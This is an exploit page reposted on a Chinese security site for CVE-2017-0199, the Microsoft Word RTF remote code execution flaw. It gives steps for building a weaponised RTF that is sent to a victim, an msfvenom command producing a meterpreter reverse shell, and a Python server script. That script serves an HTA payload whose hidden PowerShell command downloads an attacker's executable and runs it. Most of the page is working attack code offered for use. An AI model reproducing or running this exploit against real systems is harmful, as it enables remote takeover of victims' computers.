首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Word - .RTF Remote Code Execution
来源:vfocus.net 作者:Patel 发布时间:2017-04-19  
'''
# Exploit Title: Exploit CVE-2017-0199 (Word RTF RCE) vulnerability to gain meterpreter shell
# Date: 17/04/2017
# Exploit Author: Bhadresh Patel
# Version: Microsoft Office 2007 SP3, Microsoft Office 2010 SP2, Microsoft Office 2013 SP1, Microsoft Office 2016, Microsoft Windows Vista SP2, Windows Server 2008 SP2, Windows 7 SP1, Windows 8.1.
# CVE : CVE-2017-0199
 
This is an article with video tutorial and tool to gain a meterpreter shell by exploiting CVE-2017-0199 (Word RTF RCE) vulnerability.
 
Video tutorial
 
https://youtu.be/ymLVH5avkZw
 
Steps
 
Step-1) Create a malicious RTF
- Start a webserver on attacker machine
- Open MS Office word and insert an innocent remote doc file (innocent.doc) as an object
- Save the file as RTF
- Modify RTF to inject \objupdate control
- Stop the webserver on attacker machine
- Share this RTF file with victim
 
Step-2) Create a meterpreter shell on attacker machine
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > shell.exe
- Start multi handler
 
Step-3) Start attacker script (server.py)
- Specify URL of meterpreter shell
- Specify location of shell
 
Step-4) Victim opens the document and an attacker gets a reverse meterpreter shell
'''
 
import os,sys,thread,socket
 
BACKLOG = 50            # how many pending connections queue will hold
MAX_DATA_RECV = 999999  # max number of bytes we receive at once
DEBUG = True            # set to True to see the debug msgs
def main():
 
    # check the length of command running
    if (len(sys.argv)<3):
        print "Usage: python ",sys.argv[0]," <port> <payloadurl> <payloadlocation> "
        sys.exit(1)
    else:
        port = int(sys.argv[1]) # port from argument
        global payloadurl
        global payloadlocation
        payloadurl = sys.argv[2]
        payloadlocation = sys.argv[3]
    # host and port info.
    host = ''               # blank for localhost
    
    print "Server Running on ",host,":",port
 
    try:
        # create a socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
        # associate the socket to host and port
        s.bind((host, port))
 
        # listenning
        s.listen(BACKLOG)
    
    except socket.error, (value, message):
        if s:
            s.close()
        print "Could not open socket:", message
        sys.exit(1)
 
    # get the connection from client
    while 1:
        conn, client_addr = s.accept()
 
        # create a thread to handle request
        thread.start_new_thread(server_thread, (conn, client_addr))
        
    s.close()
 
def printout(type,request,address):
    if "Block" in type or "Blacklist" in type:
        colornum = 91
    elif "Request" in type:
        colornum = 92
    elif "Reset" in type:
        colornum = 93
 
    print "\033[",colornum,"m",address[0],"\t",type,"\t",request,"\033[0m"
 
def server_thread(conn, client_addr):
 
    # get the request from browser
    request = conn.recv(MAX_DATA_RECV)
    if (len(request) > 0):
        # parse the first line
        first_line = request.split('\n')[0]
 
        # get method
        method = first_line.split(' ')[0]
        # get url
        url = first_line.split(' ')[1]
        check_exe_request = url.find('.exe')
        if (check_exe_request > 0):
            print "Received request for payload from "+client_addr[0]
            size = os.path.getsize(payloadlocation)
            data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
            with open(payloadlocation) as fin:
                data +=fin.read()
                conn.send(data)
                conn.close()
                sys.exit(1)
        if method in ['GET', 'get']:
            print "Received GET method from "+client_addr[0]
            data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n<script>\na=new ActiveXObject(\"WScript.Shell\");\na.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe', 0);window.close();\n</script>\r\n"
            conn.send(data)
            conn.close()
        if method in ['OPTIONS', 'options']:
            print "Receiver OPTIONS method from "+client_addr[0]
            data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:47:14 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nAllow: OPTIONS,HEAD,GET\r\nContent-Length: 0\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html"
            conn.send(data)
            conn.close()
        if method in ['HEAD', 'head']:
            print "Received HEAD method from "+client_addr[0]
            data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/doc\r\n\r\n"
            conn.send(data)
            conn.close()
        sys.exit(1)
    
if __name__ == '__main__':
    main()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·pinfo 0.6.9 - Local Buffer Ove
·VLC Media Player 2.2.3 DecodeA
·Tenable Appliance < 4.5 - Unau
·Microsoft Windows taskschd.msc
·Microsoft Windows - Uncredenti
·Trend Micro Threat Discovery A
·Mantis Bug Tracker 1.3.0/2.3.0
·WebKit operationSpreadGeneric
·WinSCP 5.9.4 - 'LIST' Denial o
·VirtualBox Unprivilege Host Us
·VirusChaser 8.0 - Buffer Overf
·Microsoft RTF Remote Code Exec
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved